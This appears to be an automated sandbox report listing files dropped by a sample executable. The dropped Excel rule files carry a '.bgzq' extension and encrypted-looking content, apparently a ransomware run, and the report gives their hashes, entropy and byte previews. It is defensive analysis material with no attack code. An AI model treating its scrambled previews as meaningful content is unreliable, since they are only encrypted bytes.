Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.701765387015242
Encrypted:	false
SSDEEP:	12:wTaQ7Uut2Kxl5QD5XRJqRnSSF7deQiPMiSjYwIFBaG07vZqCRNFMVejVcii9a:wTaGUutVS5XjqZSSVkrP97aB7vZqYsc9
MD5:	EA593D21F055143B15FC5F0D8FD2F55B
SHA1:	9191C29F38301A12077640128E640EE8137FF8CB
SHA-256:	55CF60FCD08D7BC0DD3A349F9C3DA295397E1D8600D20DE0704C5982872AA8B7
SHA-512:	9B094E03413EAD664DF57B69FF08289F14043C5242FD9860E039649251B2C7313B8F6A5E8954263C8D16A3C3E039D51D61C92745F7962BBB19FC4F66BF0B596C
Malicious:	false
Preview:	<?xml.6..d.....7.f.../u..F.w...F..#T.#.oH.....U.<..o.......\..:.>W[....C..XL.>./.#..NH.M......=[2..j...u.3.z.o....fk.MR..E^+.#;4M8Z.`...e...g.".v!Z.>_.C._...p0\|Pw.+0u{... G....F.......:.!T...lw.I.]D.P..u.:. ..Zp.^.e..!...y.`$.J...i`W{.V....='Y2...o..X..G#.a_q....cC?...8.);"......7..0..jP./.HV.....M.r!...2..$... .t.T\j..!..... O.l5..u2IB..c.......].o....I..6.j.....~ .!...w:.:.b....IU..'.n.......P..X...'..,....I.JN..E.Xl.;C.~...0.U....H...5.<I~.[p.J.?..^Ny.{.VwG.t2...{..t4?.y...~d....G......)!P...7.[....\|.}.(.....F.ff.&a&...\|..o~.I...r...0....H..-..bQ.b3........X....O...Zf.......%c"].....JqO.B...z..........Oe.&....uv...T.{/.....$zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.737416855324028
Encrypted:	false
SSDEEP:	24:mg8bacTEkIm6RivfE+L/euoKQ2C4LCuNVbD:mPXaivfEQeuoKQXuNFD
MD5:	D27CE62B04FB481109D22310FF35B4A3
SHA1:	1100C8A66CBB0986EAA7C2BECA009A00BB622FD7
SHA-256:	3FFB75027FFD150A21C4C56B54800BBDD40A3A1FA6ACFAB231C7F063A220D7DF
SHA-512:	6A949C4D92CC11DB2C22B548EB5F6E50A12E0ABD17CCB51864BF9FBC3C7666A2822A12A2D67F77B801787F0CAAA395610D04272DF29B9272E96EFBAE57519278
Malicious:	false
Preview:	<?xml.C.iu..M7>(..T&.U....^4....."....~..&..G,.Ei..%...%./.\|..Z\.j..L.\|..UM<...$8.L.C.46...0.._G.."..D........D:Sv./.G.: q.z..\...ecs......8..N.v.0....,Zc..<.......(.8G.e.R.fT&....9Y..+..y....o.. fBx..`G.0,.5.,.-.k~+......-....O....m.V7\|y<.Y@..F..._..H..C.r......D.u..Y..RA5........z...99..0..`.....c.\|...k.......`...S..9.......`p.....YE...~.......50...y..O..F.T..[...%....6R$...1.$.9\|+I.J.1......t....m.k.ZP.D...c2.."L.%.......g......G:...!..!...U.2;&.....8&...Xv.q.B!..w..M..i.4.O8d?.fd5..._s.#.2.......,lc...s:......i.3...o`.]..2..?.P.G.sF.G.n...Z.k......+....'......,.o.]..Y..*nt.rp..nW(0p.=.S2r#8......~.N1&:.W....Ya..}.>{N54..}...g.u.~..@.(V.'...w..U...5...l4\|.y.<.~'5PP...B\|...6..X..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.728524418096889
Encrypted:	false
SSDEEP:	12:4IPQ4tXlA3n0tSvdISqt9g13JwfGIEnly14xCKyjCMXcpCxsQf8WxjVcii9a:4IftXa3nkYqnEJWEly1sDDMsjQkkVbD
MD5:	0CD942775C7E998FF0BA4E9803FFE8AE
SHA1:	04D20011F4BEBE869AE1D860A82DE4A024BE7D90
SHA-256:	0DAACD23C532D644AB3B54A00D71228D759AC38DDC7D8C8A403F06AB8F256364
SHA-512:	5F61674769EB5B5910529D2F36A5C9D3FEA68E1453AABF90011D5EF86962304179E2348D866E84FB76C8FE68280A79BC070DE7C5ED16F45CC062FEF10D7BB0E5
Malicious:	false
Preview:	<?xmlP...g`...z....>%.)...S...HzwS...[...-....ECr..X....Zy..3....}H....2..g.{.).....L..k.~N....#(...G....\|..r...^.Os...b.. ...H../.B.-...;.,m~.~.'y.3:B&..%...\|.}.6.R.....v......./...@.Tta,O.j}..(....;..f.....n,M.D...X.;..Wh..v...\.."@...xi^.Eh ....p'.)../......pXX...3Z.D..B.;..c..`.Y....6A.\...O....@.2 x9.}].....YU%.0S...7...2"Jk.Vy..F.!......#W]6J..@.1Y..W.....6.S.p.i8...d..Y.pt...v.......5Yi-....,.k~^..`]....-.. ~.r.n.A.H.w.P\|.b....+!..w;.i..p~...~by.YQ.3.....8.......Y..n..D...T!...Yv....n...B.'.B...v.....A.Q.E..sh....b.O.bX..w..s......J;......JLp....8.....Xu.......8...Kv=.f.HX.q..j..Z.J....B......).$X>!....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.721331346443717
Encrypted:	false
SSDEEP:	24:6gvOV+umuzAMEHOrEyCStNwt/LI/kXVbD:8zmlMXrEyC4sLskXFD
MD5:	2C6BB16ED5107093C4EE7E9DE681FB48
SHA1:	5CF65E7A1221E9E3365BBDE4BFB7D80197D8CCFB
SHA-256:	8D5072F686D5216DCF5CD0915DE0086DDE5261F309ECA46D916E9376B9AD2B73
SHA-512:	1A9DAE07C394B7B576F6CC021CFEBA9F47883127B20F6E466C22A9C6E15269F46D8C7B141D4AA9E86F5469FCD1F083B018A7017403376B5DB6370FF2826E7869
Malicious:	false
Preview:	<?xmlxn.S........jv...].....yK<b.$...(G.).oB.^..T.`...'....:e.2....:.z...F.....?.[..1...z..;.U...!g....]F..;......s..f.)."t.\|R/.NJ..O..%..9......>..p..1....S.\|T....H...C..J....4.p.-h.^...1....&.{....d."pU...>..2....x..;....7..-.F.Z..d..B.G(......s.=.`.R...3+&..H.4.8W....p.S....f,.Jf:z}..wu..*......#k...f..pz...&i...y..x.e...r..0.....Y++...`s. %n\|.!$&x........2...T..}MO!Jn=Z,..}.%(s..m.Y..o$.R_...F.U..I..C0..$q/.0..1/..<..Fm..G.A......nbhz.iEZ?..!..<..&8...e....['.P.R.-...E......t..............^>.G"....R\.q-rr6Tf2:^..a.T..^.+..Z0a...SKV;.n.:{..<.......c`....D..:....8......!....R^....+f.&...M.Rx..5..6.Q.?.r./`y.....(..'B.w4b...........m.b&..r}b.G..r.%......rf.$Iu.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.687677711573262
Encrypted:	false
SSDEEP:	12:ygIQKRHBqP0dwcW/ArW54o85xBt+8xJy0kQlwRjOpFi99NjVcii9a:ChfWf/3TgBt3G0kxovi99NVbD
MD5:	4910E34DB65D1910C2DCE083CA5509B4
SHA1:	BBC714318A9180742DFF280933DCD5FC87027980
SHA-256:	093C97ECAE8B4FA656F04D8994BAAE931AA36A84D4ED67C923A3B90774687CD1
SHA-512:	CD6E6382215068C2AFBFB503D664843F029FDB14B1567F84FC32A1B2E4F0E07270EE5DC1650CF1212B50184A15C2639AACAB1C215045424DF81DEBACDA34003C
Malicious:	false
Preview:	<?xml4.>.;...>.j3...&......d...{.+..KU.cc).Q[).p....G.<[...B.zR"Js3v8S..W.....:...%.SI.:.c.....{..!.![.i.J0.W....(..+uw-..?...:..@.LM........Q....R.L.).a.\}...b....._Rx6.q. DF.q....=@.....<..W..J...1N..A..8.w/..r..x..S.....N...x(&.P.Ds..,1..z...t.G...;..1.y+L..z....Z..l5[....8..V..".u>S..V..7R6....d+.........Wt...w.......q..%..cw.O\..R.......+...@!.l........z&f.l.c7yx=.w...;...~7y.... ..9F.w.....:.M...m..b#......!4..i..;...oCT.gT:,.....,..........\...V.\|.q.(...]}....k.....~.....;.zO..A....?:...MJ.....P{.>.K7.j..M....v.?a..&2%d.8..!G..cU..._.u.4.6...}...F.\|@...I..Ge.......$...% ac.2m..5.h..gy.e..H.m.....K.jC.F;./V.O..N....`.]-phitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713045217308093
Encrypted:	false
SSDEEP:	12:xwz/27Mex+lRBGNEcojuo3sgFEkoukoHKscSWdtdV7dG7GikANLVIdqjVcii9a:x8hexaRkgR3sgmRukgKAWdAGaNLugVbD
MD5:	A363D527C2949677A1094C4EBCBFDC2B
SHA1:	C211AFBCFAD6C241A871F9A8955C3064B0D2F318
SHA-256:	88DFAEFD0CC658E436AA0807FC89D025BC84A80A3F06DFAB946C3CFBE9554FF9
SHA-512:	27E552C23E83E8E28CE49644EBA02661F942377A1C5F50E4AF3FA3E3977C812755131B83B1146ED1A2DB0A269100DFAD63D33499E154713C681AEE2458508C0E
Malicious:	false
Preview:	<?xmln9W...d...o....N#.}..d?1..oc..$dy.m....4...~w...9.m.)...p.......g7-..n..X.U._[T.......Al4_...e.@@.tu.\..x..@b).......]0..m..U.........!7...J5.. k...Ulz..C.MP9.,........>%...{.4r..#..V..}.Bct!..q...\|O~;.....h.....X..C...3x0.p..G..IB....'.LO.cN.l.....p.y.<...Nn..8...;...}...9..I..$/.a.l7.+.8Z..z..o.4.d..&....8.'.ij\|(D..i...u`.....t0.<.N...&!.0..I..].Poh./'7.......N../..M.k..r"..B....P.....e:.v..Za.f..;w....8..+A....o.}...F@uK.....b-.[..kU..5x.6.p..".^..8S...w..}..}..Qg_0-q.......6vOY.....8....H.)h.`+N..<^.+..B..+SI.a.zhV...i..../[?`7t...~.Y.Z...8"..........I..`O.Pk...e.....5w.%.g.q........=0._~9..t"*k..{.L.B.....(....E\..7.Qgk.9....d..P.fC'.Wn.kq..N...+...~..<..w..4.H....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.695489076795104
Encrypted:	false
SSDEEP:	12:+KrahFMVZ/Vbh8aXdldIZ2J1tWvecD5nyah+F0cp7KNwb175jVcii9a:jVrNtly8J1ovecw7ecQg7BVbD
MD5:	285C69E04DB9CAB626488AAC977D9D6B
SHA1:	E2528309D89BCC128C4E35545F1CB9310AE716DD
SHA-256:	72305992FE322FAD50FDF0361D07244C8FAA30891E86F29DCF1EB428C3FEFBB2
SHA-512:	E0C9A2029DD38F1837D9A1ECE79EEE21D11B6E1EA759302E03EDED7012DB6576B834E814C222F5C0410ABDC866EE9F58C8D7DA1A43D57766C102DFC3F06C7A02
Malicious:	false
Preview:	<?xmlW..........>.\|.V..h8.h....>..`...t.qg]A....z../..8..`..2....?.......... ..#.../.....0.......V.t.H......'.;..Y.e...=...t.....Mj.X!P........s.......s...w......g..S.E..X?...en..k.....o....Ei.B.n.g.-.......n0K......o.....=.=..$.X9i.wG.w.w'.C.^yK0.....>.A...d&B..h0.%v..zG....O...6..(.i..-.....XA.....3d.Bf..7...y........&.........^C..}.yn.L/z=i.1.......S.a.>`.....5&3\Q~.K.dG_...-....l.S.^KG.ai.....Wv./...Gf..D.'pi5U2....5.y..G.i.....v..o....A.........le....@..<.v,P......=....2&A...`c.'.H\o.!.4Xb.+z....U*t...L..Fh3.......W!..,"...I\.)...p#T<.._......v.,sF.zS.c...$.UA...,.2.a8.5...v....gz...Y5u...&...G@.....&._+"V..&.. .c.^R.w....U.."......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.714388296368245
Encrypted:	false
SSDEEP:	24:SVUCAaShwyGHUlHOd3PrARSa6pnUhyvsRLVbD:4jAaSnG0y3PsAMLFD
MD5:	93DA355B5383F21E8BA033657C02D9B7
SHA1:	D09A3552AA4055497F3FD0D9DD76E46D9E5DA271
SHA-256:	DFE96983CFE669F276E95C70A02E50EBCFE26ECA18732BC3085225E83AABD9AA
SHA-512:	3FD6F5A946902FADE9A84EC4C538C2E7D0214D69CD9CE6E7072A3133ECE110D189A43CA4F076F4A9218F53A20F566A02E2954A388035F614BAC17C90AA865047
Malicious:	false
Preview:	<?xmlP...~.....+.a(..O.S.W...R.\.`....(C.s....X~.........@.M......D..`.....J.h.R........8..(.Y.F.[{..<....1."8..z.5....H1.6..h....T...v.z......3..%k4.V.@l.@....K.g..9/.X.........1I.?.).....P.w.0.................iU8L...Y ...9XlH.....3.s.\|7.7O.+.m...4../.Oag.^<.p..mta6j.[.rg.t..0D.4....pszQ.\...rJ..hOrg.....d...P.. ..D.nZ..g.)h.....`..LX.E.!....lN.#..._..U..(..sY~.$.A(.....;.)i$.Z..V..ePJ.HP.Y+Z......MN......:.J.ro~#......z....._T.8..d.........#....EhP..So...^V#..QLyD(..ib.zm>......<.^...4>Iv..&.~...g...G.~!...O./...C6[j5....q...f.6..$.{K)YR...P.C.c....z........PYX..7.........[.....I....>.\[.q.d}.@..9/).U..A..f..FP.].7.dA..`k......i}.y..0..&.n....GI$?......OY]r.g..z.<.qz.].9.d.SU4..>..u...$.`itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.713001385619355
Encrypted:	false
SSDEEP:	12:9JGSYFa4rIAN4zM6736Kp3lG0KA703CXmkEqCfaWLXkABeA3cxUDHaiNdhQ/MWpB:hYs4hNpKbG0KA7xFNCfVzvHJ1iMcBVbD
MD5:	05F36ED517CAB416992ADF5DA2C3B3D1
SHA1:	C1F0EB992EC32157F71984BC9169884C60C50E55
SHA-256:	8284081B39999951DD0680A41A6A9074B04A04336EE3DAEC10531C988549FBF2
SHA-512:	D853058FE08816A47A7CAE6425B9B0EA0FFF7A4FCDFF78ABF442E99E4EED08416AC2133B95EDCB16272B430AC993FB62EF8A7ADFA1926715AC3D4957FD77C583
Malicious:	false
Preview:	<?xmlC.....l.,..Y2.zK.)...'..>.......OQ..Q.p..Z..nJ..p.~...C...&T.O.E70....l8%.P.k.3e.&.D......0.]U.q...6...]......5$-@....pC.`...\K..+.;.....^..A`.)...=...v..&.+e..."....>Y........v8.R>.e.H...axCj@.u}5.._.......E...%..'...,.fl..54...9$..5kS=.V...Q'....3n..h.........q~U=.^..&%._E.\..A..}..-sg...[.g..\|...!5.9..\L.@H.......S.F...<.1.......,ix...}.O....V.....2..M....I.....V9...d!zw..b+....h,.....u....$...h.$m.L..a..9........0S..I..(..3..(...8.`.....#9..'.........BU...q.+Ney.....t..jw....L.JU.5.S..?.G1qn.<Z.........r....Db...v.)..P..FWG.....6.s.G.....PV.l5.Ih.8a.......Z..x+........;.l....7>....q.$....8":.....5.".C.D..C.k..h...Q.v.3........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.712708256072524
Encrypted:	false
SSDEEP:	24:T4LUUPhHucfrnBOHCx/jtaQsuH6DO50LFhVbD:T4hpOcznBxRaBuaa50RhFD
MD5:	8233552AC7F71FDD6B2429FFF56D4FB8
SHA1:	C94704F92ED4C7A35866E1D14265789865FAF39A
SHA-256:	E2127A1CC6BD19BECC60010C408AE2AB5AC1F0C92848A059D90A592562106D1F
SHA-512:	B0738B081A4E791A7AA7436B5463599026F0A83D906260CC8F6929E143500661EF2EE2EE9C5F1DE5AA9015A589B226096E33D7F973957BB3831948183F096A8A
Malicious:	false
Preview:	<?xml.n.u...]..x..h........r.A...`...D.u.......c...q{./..H..<.S.C6_.&S.$..1....U...e.!....-....A..H..xA...~ZH....r.N.V.M.V.r........+..Z..Q.(.........i.6..S....z...w.+..f..{..f.P.MG..%.i....9./..^.z..X.2...m..Sc=.,..+.....4.>(...+j...vD..5z....M.9wP...P....5..+...FA"PQ\..].6....B...#.~..Q.S..E+...x.sz.2..6..~...S...X...{.{.o".$<.....J.........Q..m.....M..W..l..x.W>...(v.......VJwo..%-. 9^S........9.......d...X.....Ea.....y@V....]......0.f..E..e..#i$Bg...Ke7g.`...?(Y..n`.&.Y..Ic.\...b.#A.".Z..3.Q...!;.....3.d..........Ur...G..5.W%...v.L..L..#..R.J..P".mP:..Y.$2P..fE..U.S..R.....7.Y..X?..".j>G...+?t>.~`..F. 8.%..\|.......L...226.5..LH..jB..G..=.C...b.Py..Q......4..s.....l.x57Y..y.C.Zitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6646401825260275
Encrypted:	false
SSDEEP:	12:+zL0RbeAEVShWx7CNzgPVE3kEJBkebMNPeHzPzTyn+y24uUg2yBN+dOUavjVciik:0IpfWStZgc5UgMNPqzPzTi24CNZVbD
MD5:	F06E38587493EA9F5601127AC576CED5
SHA1:	F4A1214076CF47F5533F678A2EDC4F5A7A0A40C2
SHA-256:	2B3B8D31015FD3C520FABA2E9167460A6CBD8371995442EF90780C6018910C00
SHA-512:	58C7CB5E9333DC09A480E80E937F60F32022FDE43E96D2639C2D908B3972AA31BE570CC43E010A08C20961D383914D43FCF7385B4EA80E9F5261389BC16E348F
Malicious:	false
Preview:	<?xml+w..U.V....4...w.".g...UF..1.{.^,..6..%2S..=.....s..o...-4.....#2q...5W"..e.m....>\......0j".g.].X.J.q....v.P9.0+.'Bl..E\|..N.cF.Oa.z..Ql..6g.....W.N.0..r..\$.U.........S^\|....o..A........3.vp.4....Zp\.u..S0r..W.4.oe}r.)^hH....;.../jz/wqn..p..oA.O.tT....:Q_.d_...$..Ec.jR..=.......3-.C_X...vD.Fc@.Y\|.N6Km..p.o.-.y.N.].8.Rc...\VD!..x.......g"HV3..'....}.=8.jbU.<.M..\..].N..j.w..!-.oc.d...=.....?..V....k...,5..z....WS......"@..."4..)T.-..v4..K.Ft.r.+.L%.....b.>.C..h0Z%....W........N6.OQLR]../..7.....f..t.qS..!...G..$...n..P.xfV....%.k.Ii...o.a.U.Tm.....SM.c.M}......E..\...6.w.'._.?.....<4...C7B....\|S.t]..}..K......o...os1{..3....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.71527578310836
Encrypted:	false
SSDEEP:	12:WyID1Y3OiZDTjdNcDqh+pHcBsxShsjKhuWplNGloVFs32+UwZz5mRqn5Ed6XjzTr:Wy9fDyqcdRxSijg/GGd+zUMEdCa6VbD
MD5:	AE807B72A138E90DDEA1EB3C89AA575A
SHA1:	616E0AB8F6715A6845F61A84B6C0EEAC4D3F73C0
SHA-256:	F801EC7BDC5D02D581D6694D431780FEB66F2BC1A187F12C6D6630D35B6F660A
SHA-512:	35E2A9A16713F6A5FF41CBE385F3FE3B9EED78244FFF56BB248C5B71C99011D0D81465A6C8E9244E6F91727C996681CCBE0AA594947FE29C3AC8389DBDF45B0D
Malicious:	false
Preview:	<?xml....o.-......X.....lw..E...\|/.P.kW...c.J.v.!W..5..N.R.8......b.8.@.df*.}z....%.mk.....x..7.......k...]X.]J.z....<&x9....nk...'.Z2L>...K'0.v.N.d..n..P:3.4.<.?8P....TO.w.7...Q..x.. .:..;.......#05F..c+........[....L=.MP...N..._{....:.5G.../=....7r...{Z.+VQH%yO......J..6S....L....Z%...a.G.G.-..e..%....+1T..6.^...Y.L.c.c.M\......5.VR..u.R.....Vg...4..-...=\|#..)5..y..{o'......T.A8K.{,\|....8Z.g..:.tv.H....T#..n90..d.Q.wk&..o]....w....[..s'1.E.V.3.....g..'&..E..^..=)rj..r...........k.Xg%;dZ.>ME..].2..S..]....H..P.2I........Z.L.,.N.!.S.m)flM_E.y...T.T.@.Q@O9.=.....:s.......i.....R.U..!...C...S}.`._.C...N..<.....VY.}GM.....tZ....$.Fz...r.j...%f....r....D'3..w......w07..+~}c...H.,.Nitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.7084329859549285
Encrypted:	false
SSDEEP:	12:vIHB6A53S+H63svT6Lwb4IuEfw2DLt+spO6PEeHZk2x16+vdrrsCjVcii9a:vM0M3pa+6dcDMspVPEe5L1rxVbD
MD5:	2266ED273B5A708E410BA2384E22B204
SHA1:	78F666390252A40E607852C462C3B9F14707ECD0
SHA-256:	8CB31FADE481F04DA3579E8021AC5FECC81E7052E6FCE67DDAE7FA9978B4DD8C
SHA-512:	29844697E066AB339299D82BF609D215C1A5D34DC5AAC8DB46F8DDE03B0C3B9FCB8DE7A17FFCFA1E9437E0C5630FEA5313FBBB3B635E6ED566673E302912EED9
Malicious:	false
Preview:	<?xml....sd.....aV6....DL......&......D...cn..B.......q=k=.d]....X-.c.iu..t...m(A..x...Q.wx.....>.8,G.;..)......P.../VR.{.....f.......~..\#I...%.[.........N5n.B...Y.ZZ.}:[.l#t. C@.G.k......:...j.p@z..e.{...}.Av..1...D.z.U...g..>.tc"..!.L.[ar.nj..H.1.5+l1.O.B.....l...>Mc.9.o.!L1.......Wj),...9.".7....<4.{..F.P.....-...,..C.{........`4..>80...{.SP..K5...M}.H.>............c.^.U..I........\|..E..(.H. ,.S.Y.c&.~...x.....{.C...K......_.Z.XP}..x.M.{.i...4.P3..d...Y^$(...s.e.-...c.IF..\jSWO(..?..1....DU+.....(4UU.wc...NW....2.p.{E.....#..7l.c..8b..e.J.u...F.....:.wnm.....-.l.k....~..&..v^..y. .Gm.<d.....N....29..]^.W".5.W.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.739255935787693
Encrypted:	false
SSDEEP:	24:sWZGewtWyqYD3BBk+3GVUpsE3DZPVUxcVbD:sWZDdyqYtS+3p6UDZP8cFD
MD5:	7AC50673C10BD8E2FDA7A483148C40AA
SHA1:	B35D453F3ED74E4D63FA2F73D4875BAC00AF4AEF
SHA-256:	25BAF46247465EFAA782DEBD36012FD7BBF806AB76912CC1FB39BB6E6FAAE7A8
SHA-512:	3E3360BDD86063A0876EC1A23A6D9D7C32A822D611E2806D1D33BC76397DD5639B128D61184E2BD83F5285CBF4774B70C90FC5A7D40D74917068A0DBB2D0F6D8
Malicious:	false
Preview:	<?xmlp.......Gx[........>..g.=..2..SG..6'v]...v..:.].\|1.....{.!0;M5...U.V.o..M1.5..$.i...#....w.(....U.=.PNz.i..s..M({%..\.LNp.......7.o.w.....B.A...pP......@..tB!<...c.x....6.MV.?...F..s.`2=)..U..e.C.oy...!5;.q.o.e.x...\|j...uA.n..v.P....2R.YW......`.........._.m....t5.<.+......o...G.[..V..Y....Zn.)..,...Re@...B..?...d.....H. e..s...C>db..)......<.}L...E.D....n'..KH...lG.iLs......RUX.8;?Splr.#.e$u.=.oX....T.c.DVk..G$>................_..n/#...%+^.\|!....v.G..R.E.ER.....Yh.paH.8`h...yCy.i`...z...)k.}.iw...K.\|.......i.\|..W...}b.._.m,W.ru...A..!.6..........bS...}AFqw...`./.X&P....>.#..\+d/,f\]$*.o....j.$.w.U.....!.:K...:..Mg..B..".(.. .K..U+.,...".@.2k.....H[....%Tk.m...U.....)0..~.:...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.492595244237258
Encrypted:	false
SSDEEP:	12:xjvl4IfOUbtl3KrzQOBqj6eC+ZKTgqWXtQMFv6Z5WGjVcii9a:xR4IfPttKIf6eC+Y8HFv6VbD
MD5:	9173EE180DF793CFBDA7E81A28117EFC
SHA1:	3EED11E569F63398AFE4DF22EC6B3CAFF53A7945
SHA-256:	6E56CD5DF87A33187035C244F6CBAD1ADB7980562E7D1BC2C9BDF5DA7A72AC84
SHA-512:	0F151A5F4C6D596D4257B9F7CC1D62D8FB0427B4274E84A338461003939E2E2EA8FCA8B8A16D9E0B991614594C80D95BED3005ACBA25AFFDD5D207F7057B5C01
Malicious:	false
Preview:	<?xml60....p'...,6..w-u..o.wtD....Ce..-.O1.d*.....v.hb..f.t...T.Cv......m.s......<E9I.?....'..V....K.1...~\|E.?....4...!K...M...#.i...s0VUN.4Q.cx5..P3h.....L...P)b....(r....>..8.?.L..7..R98..!.<.........xL(.$......5-..M.+.9T....$_qb..t..e...p...4..3..\|......./...b.5..mp8..#_./)v.d`...\ .r.AZ.R..",.-......32i_..4.X....X..+X}.+V....}.........O.......rc....p.g.w.c..g..m6..`.<...~...o.<..."..u.RO........Q..W.t..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.927650998267309
Encrypted:	false
SSDEEP:	48:oA0/aOqhDcrdDY9/Bapx0vz30BWVNlmKBJ75CEmlcFD:oA0/TuAKZapx0730BWV/mKBJ7L9
MD5:	89F8A89E3F7D76E053FEBFB4E5032E35
SHA1:	FC8F829765B004A390351F2D95A71A829F93BAA7
SHA-256:	3D313C11360D88E6CCCFA4B8AE68209ECC5D17B00743065E485C32988834897D
SHA-512:	3B5AF10DC6A15064C6F38F3DC2B0463FF17FBC027C1DD0AA43A463263FD23C4E8B3D3569A9D56072E50266640365027607F26EE09FF33040E3979FDA3A7E9422
Malicious:	false
